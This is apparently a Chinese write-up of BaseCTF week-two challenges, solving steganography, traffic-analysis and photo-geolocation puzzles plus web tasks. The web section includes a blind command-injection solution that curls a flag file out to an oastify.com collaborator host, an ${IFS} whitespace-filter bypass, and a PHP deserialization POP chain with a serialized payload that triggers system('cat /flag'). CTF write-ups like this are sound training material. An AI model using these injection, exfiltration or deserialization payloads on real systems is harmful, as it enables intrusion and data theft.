BaseCTF比赛week2-wp
文章目录
- BaseCTF比赛week2-wp
-
- Misc
-
-
- [[Week2] 黑丝上的flag](#[Week2] 黑丝上的flag)
- [[Week2] Base?!](#[Week2] Base?!)
- [[Week2] 海上又遇了鲨鱼](#[Week2] 海上又遇了鲨鱼)
- [[Week2] Aura 酱的旅行日记 I <图寻擂台>](#[Week2] Aura 酱的旅行日记 I <图寻擂台>)
- [[Week2] 前辈什么的最喜欢了](#[Week2] 前辈什么的最喜欢了)
- [[Week2] Aura 酱的旅行日记 III <图寻擂台>](#[Week2] Aura 酱的旅行日记 III <图寻擂台>)
- [[Week2] 反方向的雪](#[Week2] 反方向的雪)
- [[Week2] 哇!珍德食泥鸭](#[Week2] 哇!珍德食泥鸭)
- [[Week2] Aura 酱的旅行日记 IV <图寻擂台>](#[Week2] Aura 酱的旅行日记 IV <图寻擂台>)
- [[Week2] Aura 酱的旅行日记 V <图寻擂台>](#[Week2] Aura 酱的旅行日记 V <图寻擂台>)
- [[Week2] Aura 酱的旅行日记 VI <图寻擂台>](#[Week2] Aura 酱的旅行日记 VI <图寻擂台>)
-
- web
-
-
- [[Week2] 一起吃豆豆](#[Week2] 一起吃豆豆)
- [[Week2] 你听不到我的声音](#[Week2] 你听不到我的声音)
- [[Week2] RCEisamazingwithspace](#[Week2] RCEisamazingwithspace)
- [[Week2] ez_ser](#[Week2] ez_ser)
-
Misc
[Week2] 黑丝上的flag
考点:图片隐写
打开是一张嗨咝图。根据题目意思,flag应该在黑丝上。放进StegSolve看看,找到了flag。
[Week2] Base?!
考点:简单的base
下载附件打开,解码出现flag。
[Week2] 海上又遇了鲨鱼
考点:流量分析
将附件用wireshark打开,发现了关键词flag.zip。
追踪流查看,发现有个登录的password,估计需要,先记下来
将此文件提取下载出来,解压,密码就是上面的password,找到flag。
[Week2] Aura 酱的旅行日记 I <图寻擂台>
考点:图片查地址
搜索关键词-恐龙化石,博物馆。找到相似的图。
找到地址信息,就是flag。
[Week2] 前辈什么的最喜欢了
考点:base64
下载附件,一大串vase64编码,解码找到flag。
[Week2] Aura 酱的旅行日记 III <图寻擂台>
考点:图片信息,查地址
根据图片gps经纬度信息,算出经度纬度。
计算方式:原经纬度 = 度 + (分/60) + (秒/3600)
根据这张图片的经纬度,计算如下:(一般西经是加负号)
纬度:29;40;18.4799999999957265;
经度:102;57;46.7.72200000000864861.
计算得到:
纬度 = 29.67179999999999881
经度 = 102.9521450000000024
最后用地图找到大致位置,找一下附近的风景区,其名字就是flag。
[Week2] 反方向的雪
考点:文件分离,二进制逆序,空白格隐写,压缩包密码破解
下载附件解压,发现是一张图片,扔进010editor发现末尾加了其他文件。
将这一部分提取出来,如果逆序,发现就是个zip文件("反方向"的雪)
需要密码,下面有个提示,但是却不是这个地方的密码。扔进解压工具爆破。
爆破出密码,解压打开发现是空白格隐藏,用到SNOW工具。
上面提示的密码是SNOW工具这里用的。(反方向的"雪")
拿到flag。
[Week2] 哇!珍德食泥鸭
考点:文件分离
下载附件,打开是gif动图。
丢尽010editor,发现了一个压缩包
将压缩包提取出来。在其中一个网页文件发现了flag。
[Week2] Aura 酱的旅行日记 IV <图寻擂台>
考点:图寻
根据图片信息,搜索关键词:二龙戏珠。然后对比图,发现地点在江苏省南京市秦淮区贡院街夫子庙景区,也是本题的flag。
[Week2] Aura 酱的旅行日记 V <图寻擂台>
这位伟人的铜像照,很快联想到邓小平故居。其地址就是flag。
BaseCTF{四川省广安市广安区邓小平故里-邓小平铜像广场and邓小平故居陈列馆}
[Week2] Aura 酱的旅行日记 VI <图寻擂台>
一所学校,看到关键词-迎泽。搜索一下,找到了一张相似图片,是太原市第五中学。
BaseCTF{山西省太原市迎泽区青年路49号太原市第五中学校-建校时间1906年}
web
[Week2] 一起吃豆豆
考点:控制台源码分析
打开时j5做的小游戏,直接查看脚本,找到控制游戏结束的位置,发现一串base64编码,解码得到flag。
[Week2] 你听不到我的声音
考点:shell_exec()无回显函数(见笔记)
shell_exec()是函数执行命令,但是这个地方无法回显。
先将执行命令后的结果用一个文件保存,之后再读取这个文件就行了。
先传入:
cmd=cat /f* > 2.txt
再粘贴burp里Collaborator里获取的payload。
cmd=curl -X POST -F xx=@2.txt http://n8w9fjwqhuqrvdodcvrfwstrui09o0poe.oastify.com
之后提取到2.txt文件就能得到flag。
[Week2] RCEisamazingwithspace
考点:空白符号过滤
用${IFS}过滤空白符就行。
[Week2] ez_ser
考点:简单的反序列化
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
分析一下,看到了__wakeup()函数,所以就使用它这条链了。
new web() -> new re() -> new pwn() -> new Misc()
构造如下:
<?php
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nonono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$a = new web();
$a->kw = new re();
$a->kw->chu0 = new pwn();
$a->kw->chu0->dusk = "gods";
$a->kw->chu0->over = new Misc();
echo urlencode(serialize($a));
?>
//O%3A3%3A%22web%22%3A2%3A%7Bs%3A2%3A%22kw%22%3BO%3A2%3A%22re%22%3A1%3A%7Bs%3A4%3A%22chu0%22%3BO%3A3%3A%22pwn%22%3A2%3A%7Bs%3A4%3A%22dusk%22%3Bs%3A4%3A%22gods%22%3Bs%3A4%3A%22over%22%3BO%3A4%3A%22Misc%22%3A2%3A%7Bs%3A7%3A%22nothing%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D%7D%7Ds%3A2%3A%22dt%22%3BN%3B%7DALL Done!
传进去得到flag。